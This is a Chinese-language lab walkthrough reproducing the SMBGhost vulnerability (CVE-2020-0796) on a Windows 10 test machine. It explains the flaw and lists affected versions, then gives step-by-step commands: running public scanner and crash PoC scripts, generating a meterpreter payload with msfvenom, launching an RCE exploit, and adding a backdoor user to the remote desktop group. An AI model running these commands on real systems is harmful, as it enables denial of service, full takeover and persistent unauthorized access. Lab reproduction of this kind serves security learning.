环境准备:win10(驱动版本10.0.18362.1)靶机、kali攻击机
漏洞介绍:
2020年3月,微软公布SMB远程代码执行漏洞(CVE-2020-0796)又称“永恒之黑”,该漏洞由SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。
漏洞原理:
SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入侵。
Windows 10和Windows Server 2016引入了SMB 3.1.1 。本次漏洞源于SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。
利用该漏洞,黑客可直接远程攻击SMB服务端远程执行任意恶意代码,亦可通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端。
影响版本:
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server,Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server,Version 1909(Server Core installation)
目录
一、蓝屏攻击
🌂下载工具
git clone https://github.com/ollypwn/SMBGhost.git
🌂进入工具目录下,进行扫描,出现下图字样即为存在漏洞
python3 scanner.py 靶机ip
🌂下载工具,进入目录,对靶机进行攻击
git clone https://github.com/eerykitty/CVE-2020-0796-PoC.git
python3 CVE-2020-0796.py 靶机ip
PS:缺少ntlm_auth模块,使用python3 -m pip install ntlm_auth,进行下载后再执行
🌂查看靶机,蓝屏
二、getshell
🌂下载exp,并拖入kali
https://github.com/chompie1337/SMBGhost_RCE_PoC
🌂msfvenom生成正向连接攻击载荷,端口6666
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=6666 -b ‘\x00’ -i 1 -f python
🌂进入工具目录,修改exploit.py中buf后的字符串,保留USER_PAYLOAD不变(可以在物理机中修改后再拖回来,亦可直接vim打开后 :%s#buf#USER_PAYLOAD#g,把buf进行替换)
🌂进入msf,使用对应模块,监听目标机指定端口6666(与下一步同时进行,两个终端窗口)
msfconsole use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 6666
set rhost 靶机ip
run
🌂同时,新开终端窗口,运行exploit.py脚本,反弹shell
python3 exploit.py -ip 靶机ip
🌂成功进入meterpreter,输入shell,利用system权限,添加用户lion,密码qwe@123,net user查看用户
🌂 将新建的用户lion加入远程组中,chcp 65001修改下编码
net localgroup "remote desktop users" lion /add
🌂此时lion用户已经在远程组中,物理机cmd输入mstsc,再输入靶机ip,远程登录连接win10靶机
至此,复现结束~
参考文章: